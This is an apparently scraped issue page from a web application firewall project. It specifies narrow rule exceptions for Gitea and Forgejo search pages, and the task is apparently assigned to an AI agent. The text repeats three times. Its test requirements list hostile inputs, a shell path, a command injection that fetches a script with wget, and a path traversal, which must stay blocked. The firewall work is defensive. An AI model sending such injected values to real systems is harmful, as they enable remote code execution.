Split from #350, part of #212. The web pages gitea and Forgejo share that read a search from q, as 350 lists them under "Pages", apart from the Forgejo-only lines, which stay on 350. Fixes go in internal/coreruleset/gitea.conf, which serves both.
Includes the admin pages and the two admin bodies (POST /admin/repos/unadopted, POST /admin/emails/activate). drupal.conf lets q skip four rules on every /admin/ path whatever the app; gitea's admin pages get their own fix, so it still holds when SWW_APPS (#225) groups fixes by hostname.
Definition of done, one PR into next, after #350 lands. Follow the shared plan at #212 (comment) and its addition at #212 (comment): record with the hard values against gitea 1.27.3 and Forgejo 17.0.1, images pinned by digest; let each refused field through only on its own routes and only for the rules it sets off; a narrowness test shows /bin/sh, ; wget http://example.com/x.sh and a path traversal still refused on nearby paths and other fields. SPEC.md lists the change where it lists the others. Package: internal/coreruleset. Follow AGENTS.md: checks only through make targets. make fmt, then flock -w 1800 /srv/code/tmp/.gate-smallwebwaf.lock make check; a flock timeout also exits 1, so read the output. Edit by hand. Remove every container you start. Title ending (closes #N) with this issue's number. Label the PR needs-review.
Model: opus-5-5
Split from https://git.eeqj.de/sneak/smallwebwaf/issues/350, part of https://git.eeqj.de/sneak/smallwebwaf/issues/212. The web pages gitea and Forgejo share that read a search from `q`, as 350 lists them under "Pages", apart from the Forgejo-only lines, which stay on 350. Fixes go in `internal/coreruleset/gitea.conf`, which serves both.
Includes the admin pages and the two admin bodies (`POST /admin/repos/unadopted`, `POST /admin/emails/activate`). `drupal.conf` lets `q` skip four rules on every `/admin/` path whatever the app; gitea's admin pages get their own fix, so it still holds when `SWW_APPS` (https://git.eeqj.de/sneak/smallwebwaf/pulls/225) groups fixes by hostname.
**Definition of done**, one PR into `next`, after https://git.eeqj.de/sneak/smallwebwaf/issues/350 lands. Follow the shared plan at https://git.eeqj.de/sneak/smallwebwaf/issues/212#issuecomment-171639 and its addition at https://git.eeqj.de/sneak/smallwebwaf/issues/212#issuecomment-172023: record with the hard values against gitea 1.27.3 and Forgejo 17.0.1, images pinned by digest; let each refused field through only on its own routes and only for the rules it sets off; a narrowness test shows `/bin/sh`, `; wget http://example.com/x.sh` and a path traversal still refused on nearby paths and other fields. `SPEC.md` lists the change where it lists the others. Package: `internal/coreruleset`. Follow `AGENTS.md`: checks only through `make` targets. `make fmt`, then `flock -w 1800 /srv/code/tmp/.gate-smallwebwaf.lock make check`; a `flock` timeout also exits 1, so read the output. Edit by hand. Remove every container you start. Title ending ` (closes #N)` with this issue's number. Label the PR `needs-review`.
Model: opus-5-5
clawbot
self-assigned this 2026-11-11 11:27:51 +01:00
Blocking a user prevents them from interacting with repositories, such as opening or commenting on pull requests or issues. Learn more about blocking a user.
Split from #350, part of #212. The web pages gitea and Forgejo share that read a search from
q, as 350 lists them under "Pages", apart from the Forgejo-only lines, which stay on 350. Fixes go ininternal/coreruleset/gitea.conf, which serves both.Includes the admin pages and the two admin bodies (
POST /admin/repos/unadopted,POST /admin/emails/activate).drupal.confletsqskip four rules on every/admin/path whatever the app; gitea's admin pages get their own fix, so it still holds whenSWW_APPS(#225) groups fixes by hostname.Definition of done, one PR into
next, after #350 lands. Follow the shared plan at #212 (comment) and its addition at #212 (comment): record with the hard values against gitea 1.27.3 and Forgejo 17.0.1, images pinned by digest; let each refused field through only on its own routes and only for the rules it sets off; a narrowness test shows/bin/sh,; wget http://example.com/x.shand a path traversal still refused on nearby paths and other fields.SPEC.mdlists the change where it lists the others. Package:internal/coreruleset. FollowAGENTS.md: checks only throughmaketargets.make fmt, thenflock -w 1800 /srv/code/tmp/.gate-smallwebwaf.lock make check; aflocktimeout also exits 1, so read the output. Edit by hand. Remove every container you start. Title ending(closes #N)with this issue's number. Label the PRneeds-review.Model: opus-5-5